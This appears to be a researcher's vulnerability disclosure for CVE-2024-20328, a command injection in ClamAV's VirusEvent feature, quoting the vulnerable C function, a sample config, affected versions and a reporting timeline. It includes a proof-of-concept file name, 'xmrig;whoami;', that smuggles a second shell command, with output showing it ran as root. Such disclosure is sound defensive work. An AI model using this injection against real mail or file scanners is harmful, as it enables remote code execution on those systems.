3 minute read

Introduction

On Janurary 2nd, 2024, I found a vulnerability in ClamAV, a popular open-source antivirus engine.

A crafted file name can cause a command injection vulnerability in ClamAV’s VirusEvent feature. This can be exploited by an attacker to execute arbitrary code on the system running ClamAV - clamd.

Since ClamAV is being used as an antivirus engine to scan files especially in mail servers, this vulnerability can be exploited by an attacker to execute arbitrary code on the system running ClamAV - clamd from remote without user interaction.

Vulnerability

The VirusEvent feature allows Clamd to execute a command when a virus is detected. The command is executed in the following format:

VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v in %f"

Where %v is the virus name and %f is the file name. The file name is not sanitized, allowing an attacker to inject a command into the command string.

VirusEvent is a configuration option in the clamd.conf file. The command is executed with the privileges of the user running Clamd.

In the file clamd/clamd_others.c, the function virusaction is the function that handles the VirusEvent feature. The function is defined as follows:

void virusaction(const char *filename, const char *virname,
                 const struct optstruct *opts)
{
    pid_t pid;
    const struct optstruct *opt;
    char *buffer_file, *buffer_vir, *buffer_cmd, *path;
    const char *pt;
    size_t i, j, v = 0, f = 0, len;
    char *env[4];

    if (!(opt = optget(opts, "VirusEvent"))->enabled)
        return;

    path   = getenv("PATH");
    env[0] = path ? strdup(path) : NULL;
    j      = env[0] ? 1 : 0;
    /* Allocate env vars.. to be portable env vars should not be freed */
    buffer_file =
        (char *)malloc(strlen(VE_FILENAME) + strlen(filename) + 2);
    if (buffer_file) {
        sprintf(buffer_file, "%s=%s", VE_FILENAME, filename);
        env[j++] = buffer_file;
    }

    buffer_vir =
        (char *)malloc(strlen(VE_VIRUSNAME) + strlen(virname) + 2);
    if (buffer_vir) {
        sprintf(buffer_vir, "%s=%s", VE_VIRUSNAME, virname);
        env[j++] = buffer_vir;
    }
    env[j++] = NULL;

    pt = opt->strarg;
    while ((pt = strstr(pt, "%v"))) {
        pt += 2;
        v++;
    }
    pt = opt->strarg;
    while ((pt = strstr(pt, "%f"))) {
        pt += 2;
        f++;
    }
    len = strlen(opt->strarg);
    buffer_cmd =
        (char *)calloc(len + v * strlen(virname) + f * strlen(filename) + 1, sizeof(char));
    if (!buffer_cmd) {
        if (path)
            xfree(env[0]);

        xfree(buffer_file);
        xfree(buffer_vir);
        return;
    }
    for (i = 0, j = 0; i < len; i++) {
        if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'v') {
            strcat(buffer_cmd, virname);
            j += strlen(virname);
            i++;
        } else if (i + 1 < len && opt->strarg[i] == '%' && opt->strarg[i + 1] == 'f') {
            strcat(buffer_cmd, filename);
            j += strlen(filename);
            i++;
        } else {
            buffer_cmd[j++] = opt->strarg[i];
        }
    }

    pthread_mutex_lock(&virusaction_lock);
    /* We can only call async-signal-safe functions after fork(). */
    pid = vfork();
    if (pid == 0) { /* child */
        _exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));
    } else if (pid > 0) { /* parent */
        pthread_mutex_unlock(&virusaction_lock);
        while (waitpid(pid, NULL, 0) == -1 && errno == EINTR) continue;
    } else {
        pthread_mutex_unlock(&virusaction_lock);
        logg(LOGG_ERROR, "VirusEvent: fork failed.\n");
    }
    if (path)
        xfree(env[0]);

    xfree(buffer_cmd);
    xfree(buffer_file);
    xfree(buffer_vir);
}

The function first checks if the VirusEvent feature is enabled. If it is, it then gets the PATH environment variable and stores it in env[0]. It then allocates memory for the VE_FILENAME and VE_VIRUSNAME environment variables, and stores them in env[1] and env[2] respectively. It then allocates memory for the command string, and replaces %v and %f with the virus name and file name respectively. It then calls vfork() to create a child process, and executes the command string in the child process. The parent process waits for the child process to finish executing the command string.

The vulnerability is in the way buffer_cmd being handled without being sanitized. An attacker can inject a command into the command string, and execute arbitrary code on the system running Clamd.

The following line is the vulnerable line:

_exit(execle("/bin/sh", "sh", "-c", buffer_cmd, NULL, env));

Exploit

Assuming clamd.conf is configured as follows:

VirusEvent "echo VIRUS DETECTED: %v in the path %f >> /dev/stdout"

The following file name will cause the command to be executed:

# xmrig;whoami; - payload.
echo VIRUS DETECTED: [signature] in the path xmrig;whoami; >> /dev/stdout

Output:

VIRUS DETECTED: Multios.Coinminer.Miner-6781728-2.UNOFFICIAL in the path
/host/crypto-miner/xmrig
root

Who is affected?

  • 0.104 (all patch versions)
  • 0.105 (all patch versions)
  • 1.0.0 through 1.0.4 (LTS)
  • 1.1 (all patch versions)
  • 1.2.0 and 1.2.1

Timeline

  • Janurary 2nd, 2024 - Vulnerability found.
  • Janurary 2nd, 2024 - Vulnerability reported to ClamAV team.
  • Feburary 7th, 2024 - Vulnerability fixed by ClamAV team.

CVE-2024-20328